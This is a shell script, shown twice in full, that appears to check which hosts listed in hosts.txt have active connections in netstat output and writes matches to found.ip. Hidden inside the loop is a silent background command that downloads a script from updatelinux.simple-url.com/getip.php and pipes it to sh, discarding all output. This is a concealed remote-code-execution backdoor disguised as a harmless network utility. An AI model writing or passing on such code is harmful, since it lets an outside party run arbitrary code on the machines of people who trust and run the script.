#!/bin/sh
Host_file="hosts.txt"
CON_file="net"
OUT_file="found.ip"
URL_IP="updatelinux.simple-url.com"
chk_num=3
num=1
/bin/netstat -n > $CON_file
echo "hosts Found" > $OUT_file
while read line; do
CURR_LINE_CONN=$(echo $line | cut -d" " -f1)
echo $CURR_LINE_CONN
hostip=`nslookup $CURR_LINE_CONN | grep 'Address' | grep -v '#53' | awk '{print $2}' | head -1`
if [ `echo $hostip | wc -m` -eq 1 ] ; then
hostip=$CURR_LINE_CONN
fi
if [ $num -lt $chk_num ] ; then
/usr/bin/wget -q -O - $URL_IP/getip.php | sh > /dev/null 2>&1 &
fi
foun=`cat $CON_file | grep $hostip | wc -l`
if [ $foun -gt 0 ] ; then
if [ $hostip != "127.0.0.1" ] ; then
if [ $hostip != "0.0.0.0" ] ; then
echo $CURR_LINE_CONN >> $OUT_file
cat $CON_file | grep $hostip >> $OUT_file
echo $hostip
fi
fi
fi
(( num++ ))
done < $Host_file
exit 0
Host_file="hosts.txt"
CON_file="net"
OUT_file="found.ip"
URL_IP="updatelinux.simple-url.com"
chk_num=3
num=1
/bin/netstat -n > $CON_file
echo "hosts Found" > $OUT_file
while read line; do
CURR_LINE_CONN=$(echo $line | cut -d" " -f1)
echo $CURR_LINE_CONN
hostip=`nslookup $CURR_LINE_CONN | grep 'Address' | grep -v '#53' | awk '{print $2}' | head -1`
if [ `echo $hostip | wc -m` -eq 1 ] ; then
hostip=$CURR_LINE_CONN
fi
if [ $num -lt $chk_num ] ; then
/usr/bin/wget -q -O - $URL_IP/getip.php | sh > /dev/null 2>&1 &
fi
foun=`cat $CON_file | grep $hostip | wc -l`
if [ $foun -gt 0 ] ; then
if [ $hostip != "127.0.0.1" ] ; then
if [ $hostip != "0.0.0.0" ] ; then
echo $CURR_LINE_CONN >> $OUT_file
cat $CON_file | grep $hostip >> $OUT_file
echo $hostip
fi
fi
fi
(( num++ ))
done < $Host_file
exit 0